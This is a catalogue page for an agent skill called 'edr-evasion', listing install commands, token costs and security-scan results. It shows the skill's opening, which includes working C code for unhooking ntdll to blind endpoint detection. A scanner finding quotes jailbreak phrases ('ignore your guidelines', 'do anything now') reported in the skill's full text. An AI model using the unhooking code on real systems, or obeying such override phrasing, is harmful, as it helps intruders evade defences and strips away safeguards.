Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add hypnguyen1209/offensive-claude --skill edr-evasiongit clone --depth 1 https://github.com/hypnguyen1209/offensive-claudeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/hypnguyen1209/offensive-claude/edr-evasion)<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/edr-evasion"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/edr-evasion/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/edr-evasion"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/edr-evasion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Data Exfiltration · line 277 Code or instructions that leak agent conversation context to external services, potentially exposing sensitive user interactions.Fix: Remove any code that sends prompts, responses, or session data externally. Preserve user privacy; never exfiltrate conversation content.
- high Anti-Refusal · line 449 Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.Fix: Remove jailbreak framing that nullifies safety policies or restrictions. Skill content must not instruct the agent to ignore its guidelines or operate without guardrails.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.05598 |
| Opus 5 | $0.00028 | $0.02799 |
| Sonnet 5 | $0.00011 | $0.01120 |
| Haiku 4.5 | $0.00006 | $0.00560 |
Grade A, and why
edr-evasion scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 613 lines — stays where its author put it; the contents beside it link to each section on GitHub.
EDR Evasion
When to Activate
- Planning EDR bypass during red team engagements
- Researching AV/EDR evasion techniques
- Developing implants that must survive endpoint detection
- Testing detection capabilities of security products
Fundamentals
AV vs EDR
Antivirus (preventive):
- Static analysis: matching known signatures in files
- Dynamic analysis: limited behavioral monitoring/sandboxing
- Effective against known threats, weaker against advanced attacks
EDR (proactive & investigative):
- Continuous endpoint monitoring
- Behavioral analysis at kernel level
- Anomaly detection and post-compromise visibility
- Prioritizes incident response and investigation
Windows Execution Flow
Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
↑
EDR hooks here
(userland hooks in ntdll)
Hook Unhooking
Userland Unhooking (ntdll.dll)
EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.
// Method 1: Map fresh ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get .text section of loaded ntdll
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);
// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
(LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, oldProtect, &oldProtect);
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 613 lines · 55 tokens per session scan A 0226ace5db65
edr-evasion is a skill published in the GitHub repository hypnguyen1209/offensive-claude (357 stars, last pushed 25d ago), licensed MIT. It adds 55 tokens to every session and 5,598 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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